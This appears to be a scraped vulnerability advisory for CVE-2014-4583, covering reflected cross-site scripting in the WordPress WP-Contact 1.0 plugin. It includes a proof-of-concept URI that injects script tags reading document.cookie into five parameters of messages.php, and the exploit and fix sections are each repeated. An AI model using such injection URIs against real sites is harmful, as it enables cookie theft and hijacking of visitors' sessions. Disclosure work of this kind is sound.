WordPress WP-Contact Plugin CVE-2014-4583 Multiple Cross Site Scripting Vulnerabilities
BID:68330
Info
WordPress WP-Contact Plugin CVE-2014-4583 Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 68330 |
| Class: | Input Validation Error |
| CVE: |
CVE-2014-4583 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 25 2014 12:00AM |
| Updated: | Apr 25 2014 12:00AM |
| Credit: | Prajal Kulkarni |
| Vulnerable: |
WordPress WP-Contact 1.0 |
| Not Vulnerable: | |
Exploit / POC
WordPress WP-Contact Plugin CVE-2014-4583 Multiple Cross Site Scripting Vulnerabilities
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
The following example URI is available:
http://www.example.com/wordpress/wp-content/wp-plugs/wp-contact-sidebar-widget/forms/messages.php?edit=edit%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&order_direction=order_direction%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&limit_start=limit_start%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&id=id%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&order=order%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
The following example URI is available:
http://www.example.com/wordpress/wp-content/wp-plugs/wp-contact-sidebar-widget/forms/messages.php?edit=edit%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&order_direction=order_direction%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&limit_start=limit_start%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&id=id%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&order=order%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&
Solution / Fix
WordPress WP-Contact Plugin CVE-2014-4583 Multiple Cross Site Scripting Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].